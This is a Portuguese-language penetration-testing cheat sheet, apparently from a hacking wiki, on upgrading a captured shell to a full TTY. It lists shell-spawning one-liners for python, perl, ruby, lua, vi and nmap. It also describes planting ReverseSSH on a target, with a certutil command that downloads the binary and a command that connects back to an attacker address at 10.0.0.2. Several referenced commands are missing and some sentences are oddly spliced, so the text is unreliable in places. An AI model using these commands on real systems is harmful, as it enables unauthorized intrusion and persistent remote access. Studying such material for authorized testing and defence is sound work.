Full TTYs
TTY completo
Observe que o shell definido na variável SHELL
deve estar listado dentro de /etc/shells ou O valor da variável SHELL não foi encontrado no arquivo /etc/shells Este incidente foi relatado
. Além disso, observe que os trechos a seguir só funcionam no bash. Se estiver em um zsh, mude para um bash antes de obter o shell executando bash
.
Python
Você pode obter o número de linhas e colunas executando stty -a
script
socat
Gerar shells
python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i
script -qc /bin/bash /dev/null
perl -e 'exec "/bin/sh";'
perl:
exec "/bin/sh";
ruby:
exec "/bin/sh"
lua:
os.execute('/bin/sh')
IRB:
exec "/bin/sh"
vi:
:!bash
vi:
:set shell=/bin/bash:shell
nmap:
!sh
ReverseSSH
Uma maneira conveniente para acesso de shell interativo, bem como transferência de arquivos e encaminhamento de portas, é deixar o servidor ssh estaticamente vinculado ReverseSSH no alvo.
Abaixo está um exemplo para x86
com binários comprimidos com upx. Para outros binários, verifique a página de lançamentos.
Prepare localmente para capturar a solicitação de encaminhamento de porta ssh:
(2a) Alvo Linux:
(2b) Alvo Windows 10 (para versões anteriores, verifique o readme do projeto):
```bash # Drop it via your preferred way, e.g. certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe
reverse-ssh.exe -p 4444 kali@10.0.0.2
Sem TTY
Se por algum motivo você não conseguir obter um TTY completo, ainda é possível interagir com programas que esperam entrada do usuário. No exemplo a seguir, a senha é passada para o sudo
para ler um arquivo:
Last updated